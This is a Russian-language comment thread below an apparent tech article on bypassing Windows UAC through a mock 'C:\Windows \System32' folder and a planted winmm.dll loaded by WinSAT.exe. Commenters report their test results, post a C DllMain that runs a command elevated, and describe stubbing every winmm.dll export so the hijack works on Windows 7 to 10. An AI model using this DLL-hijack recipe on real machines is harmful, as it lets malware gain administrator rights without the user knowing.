Pull to refresh

Comments 18

Вот поэтому и не надо сидеть из-под админа.

Интересно, а этот трюк с файловыми путями можно использовать, чтобы обойти белый список в SRP?
Ползунок настроек UAC имеет 4 позиции (по крайней мере в восьмерке, в десятке не знаю как): от 'Never notify' до 'Always notify'. Единственное положение, которое гарантирует (насколько это может быть прогарантировано by Microsoft), что предупреждение UAC будет выдаваться всегда и всем (в т.ч. и учетке админа) не зависимо ни от чего (и поэтому не подвержено способам обхода через доверенные приложения/пути) это крайнее верхнее — 'Always notify'. И это единственный, имеющий более-менее реальную защитную силу (и соответственно смысл), вариант настройки UAC.
Не работает этот POC — winmm.dll грузится из доверенного каталога, а не из нашего
Пруф (результат listdll.exe)
Заголовок спойлера
— WinSAT.exe pid: 17480
Command line: «C:\Windows \System32\WinSAT.exe» formal

Base Size Path
0x0000000092270000 0x2c5000 C:\Windows \System32\WinSAT.exe
0x00000000e0e30000 0x1e0000 C:\WINDOWS\SYSTEM32\ntdll.dll
0x00000000df1a0000 0xae000 C:\WINDOWS\System32\KERNEL32.DLL
0x00000000dda70000 0x266000 C:\WINDOWS\System32\KERNELBASE.dll
0x00000000deda0000 0xa1000 C:\WINDOWS\System32\ADVAPI32.dll
0x00000000e0d30000 0x9d000 C:\WINDOWS\System32\msvcrt.dll
0x00000000de8f0000 0x5b000 C:\WINDOWS\System32\sechost.dll
0x00000000de330000 0x11f000 C:\WINDOWS\System32\RPCRT4.dll
0x00000000e0be0000 0xc5000 C:\WINDOWS\System32\OLEAUT32.dll
0x00000000dd230000 0x9b000 C:\WINDOWS\System32\msvcp_win.dll
0x00000000dde30000 0xf6000 C:\WINDOWS\System32\ucrtbase.dll
0x00000000de450000 0x308000 C:\WINDOWS\System32\combase.dll
0x00000000ddd00000 0x72000 C:\WINDOWS\System32\bcryptPrimitives.dll
0x00000000df050000 0x149000 C:\WINDOWS\System32\ole32.dll
0x00000000de300000 0x28000 C:\WINDOWS\System32\GDI32.dll
0x00000000ddf90000 0x193000 C:\WINDOWS\System32\gdi32full.dll
0x00000000de760000 0x18f000 C:\WINDOWS\System32\USER32.dll
0x00000000ddce0000 0x20000 C:\WINDOWS\System32\win32u.dll
0x00000000df300000 0x1436000 C:\WINDOWS\System32\SHELL32.dll
0x00000000dda20000 0x4a000 C:\WINDOWS\System32\cfgmgr32.dll
0x00000000d1af0000 0xa000 C:\WINDOWS\SYSTEM32\VERSION.dll
0x00000000df250000 0xa6000 C:\WINDOWS\System32\shcore.dll
0x00000000db000000 0x23000 C:\WINDOWS\SYSTEM32\WINMM.dll

А вот сам exe файл, как ни странно, стартует из нашего.
Но я попробовал WinSAT.exe поменять (всего пару байт).
И вот что получилось:
Скрытый текст


Так что UAC жив. Автор, пиши ещё.
Но я попробовал WinSAT.exe поменять (всего пару байт).
И вот что получилось:

Потому что нарушилось «Требование 2» касательно подписи.
Проделал всё точно как в статье и заработало!
Не работает, только если перевести полозок UAC в самый верх.
По умолчанию он стоит на 3ем делении на котором UAC обходится.
Заголовок спойлера


Проделал при неизменной WinSAT и на своей winmm.dll
(с сохранением таблицы экспорта конечно же, иначе exe не загрузится)
В своей DLL написал
#include <windows.h>
int DllMain(void* hInst,int dwReason,void* lpReserved)
{
   WinExec("cmd.exe /c reg query HKU\\S-1-5-19 > %temp%\\test.txt", 1);
   exit(0);
}

И получил в TEMP файл test.txt что говорит о том, что UAC пройден
HKEY_USERS\S-1-5-19\AppEvents
HKEY_USERS\S-1-5-19\Console
HKEY_USERS\S-1-5-19\Control Panel
HKEY_USERS\S-1-5-19\Environment
HKEY_USERS\S-1-5-19\EUDC
HKEY_USERS\S-1-5-19\Keyboard Layout
HKEY_USERS\S-1-5-19\Software
HKEY_USERS\S-1-5-19\System

SID: S-1-5-19
Название: Администратор NT
Описание: Локальная служба
Не работает этот POC — winmm.dll грузится из доверенного каталога, а не из нашего

Подозреваю, что есть способ перенаправить на нужную нам dll (dll hell).

Может все же не "пародирования", а имитации?

Вещь рабочая, но нужно чтобы фейковая DLL экспортировала некоторые функции, иначе доверенное приложение падает с ошибкой. Причем, эти функции отличаются от системы к системе, и то, что у меня сработало на 10х86 (импорт 2 функций), упало на 7х86 (там импорт 3 функций + 1 динамически, глубоко не копал). Надо или делать полноценную проксирующую winmm.dll, или брать другой способ.

Но сама идея интересная, конечно.
Зачем проксирующую? Можно сделать
dumpbin winmm.dll /exports

и далее все 180 функций оформить как пустые
void CloseDriver(void) {}
void DefDriverProc(void) {}
void DriverCallback(void) {}
void DrvGetModuleHandle(void) {}
void GetDriverModuleHandle(void) {}
void OpenDriver(void) {}
...

этого будет достаточно, чтобы winmm.dll подгрузилась в адресное пространство, ну а после загрузки, вызываем что нам надо и сразу делаем exit(0) см код для DllMain в сообщении выше — это я к тому, что функционал проксирования нам неинтересен, достаточно только загрузки с нужными правами
кстати, версия с экспортом всех функций опробована на Windows 7, 8.1, 10 — работает везде
А откуда берется доверенный путь c:\windows\system32? из реестра? из переменных окружения? захардкожено? я точно помню winxp и win2k можно было устанавливать на любой раздел, в каталог с любым именем (например windows -> w, program files -> pf), и проблемы могли возникнуть только у стороннего софта типа corel который наивно искал что то там в c:
Теперь такое в принципе не возможно?

p.s. <эмоции> сравнение строки с полным путем зачем то парсится по каталогам, затем от туда удаляются пробелы и черт его знает еще, собирается заново и уже потом сравнивается?
запуск подписанного приложения, которое использует не подписанную библиотеку? о какой безопасности вообще может тут идти речь?
Вроде как и сейчас можно установить куда угодно, но выше «семерки» я не пробовал. Дальше — с переменных окружения берутся пути.
запуск подписанного приложения, которое использует не подписанную библиотеку?

Как бы библиотека запускается из доверенной директории (по логике вещей). А вообще, все эти «обходы UAC» не являются особой дырой в безопасности, ведь они работают только от админского профиля. В линуксе ведь никто не сидит от root'a, а в винде почему-то это в порядке вещей.
Нет, в linux большинство сидит в том пользователе-администраторе, который создан по умолчанию, и так же повышают его привилегии с помощью sudo при администрировании.

Просто по умолчанию, sudo запрашивает пароль, а в windows только окно предупреждение, кстати с очень скудной информацией (нет путей к запускаемому приложению).
Потому что целевая аудитория Windows не знает (да и не обязана знать), что такое «путь».
софистика, статья говорит что от самое приложение, что загружает библиотеку, умудряется с этим путем вытворять откровенную фигню (пробелы исчезают), так что путь есть и уж точно его можно восстановить по настройкам (узнать букву системного диска, узнать имя каталога, из реестра и т.п.)
кстати с очень скудной информацией (нет путей к запускаемому приложению).

Справедливости ради, путь там таки есть, просто он скрыт по умолчанию (в моей Win7 нужно нажать «развернуть», чтобы увидеть полный путь с аргументами).
А так да, видно только имя приложения и издатель. Чем и пользуются вирусописатели, запуская свои поделия через wmi, cmd или еще как нибудь. Полного пути не видно — юзер видит доверенный майкросовский софт и жмет «да».
Sign up to leave a comment.

Articles